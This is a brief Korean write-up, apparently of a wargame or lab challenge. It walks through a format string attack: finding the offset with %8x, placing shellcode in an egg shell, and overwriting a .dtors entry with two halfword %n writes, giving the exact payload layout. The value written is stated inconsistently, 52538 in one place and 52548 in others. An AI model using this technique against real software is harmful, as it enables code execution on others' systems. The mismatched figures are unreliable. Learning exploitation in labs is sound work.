fgets로 79자만 받으므로 버퍼오버플로우 공격 문제가 아니다.
printf를 활용하는
포맷스트링어택을 해야 한다.
%8x를 4번 썼을때 41414141이 출력된다.
에그쉘을 만들어주고
에그쉘의 주소를 구한다.
에그쉘의 주소를 십진수로 바꾸면
엄청나게 큰 수가 나오므로, 두 수로 나눈다
f2c5 & bfff
0xf2c5=62149
0xbfff=49151
49151>62149 만족하지 않으므로
1bfff-f2c5=52538로 대체한다.
RET의 주소를 구하려 하였으나,
gdb에서 disas main이 먹히지 않는다.
구글링을 통해
이런 경우,,
<.dtors라는 것을 이용한다고 한다>를 깨달았다.
.dtors는 main함수가 끝나고 실행이 되는 명령이 있는 곳이라고 합니다.
08049594+4 인곳이 RET이다.
0x08049598:RET이므로
0x08049598에 62149를 넣고
0x0804959a에 52548을 넣는다.
AAAA\x98\x95\x04\x08AAAA\x9a\x95\x04\x08이 40자 이므로
62149-40=62109
%62109c를 한 다음에 %n을 넣는다.==0x08049598에 62149를 넣는다.
그리고
%52538c를 한 다음에 %n을 넣는다.==0x0804959a에 52548을 넣는다.
끝~~~!!